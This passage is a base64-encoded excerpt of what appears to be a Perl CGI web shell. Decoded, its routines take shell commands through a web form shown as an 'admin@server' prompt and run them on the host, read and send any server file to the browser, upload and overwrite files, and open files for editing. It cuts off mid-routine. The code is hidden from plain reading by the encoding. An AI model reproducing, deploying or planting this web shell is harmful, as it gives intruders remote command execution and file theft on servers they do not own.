S0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOw0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjUwIiBuYW1lPSJjIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyANCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQoNCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZhbHVlPSJvdmVyd3JpdGUiPg0KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCg0KPC9mb3JtPg0KDQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KDQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUNCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCglteSAkcmVzdWx0ID0gIiI7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJCWV4aXQoMSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSRyZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOw0KDQoJfQ0KCW15ICRyZXN1bHQ9IiI7DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsNCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRG93bmxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfCAoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCXJldHVybiAmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSMgeHVhdCB0aG9uZyB0aW4ga2hpIGNodXllbiBkZW4gMSB0aHUgbXVjIG5hbyBkbyENCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOw0KCQkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJfWVsc2lmKCRSdW5Db21tYW5kID1+IG0vXlxzKmVkaXRccysoLispLykNCgl7DQoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQ8L3J1bj48YnI+PHRleHRhcmVhIGlkPSdkYXRhJyBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOw0KCQkkcmVzdWx0IC49JlJ1bkNtZDsNCgl9DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpzdWIgUnVuQ21kDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJaWYoISRXaW5OVCkNCgl7DQoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsNCgl9DQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCXsNCgkJJHw9MTsNCgkJJENvbW1hbmQgLj0gIiB8IjsNCgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikNCgkJew0KCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCIkX1xuIik7DQoJCX0NCgkJJHw9MDsNCgl9DQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJew0KCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCckQ29tbWFuZCcpOw0KCX0NCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGb3JtIFNhdmUgRmlsZSANCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBTYXZlRmlsZUZvcm0NCnsNCglteSAkcmVzdWx0ID0iIjsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hOyBjb2xvcjogeWVsbG93OycgPiBQZXJtaXNzaW9uIGRlbmllZCE8Zm9udD48YnI+IjsNCgkJJHJvd3M9IjIwIg0KCX0NCgkkUHJvb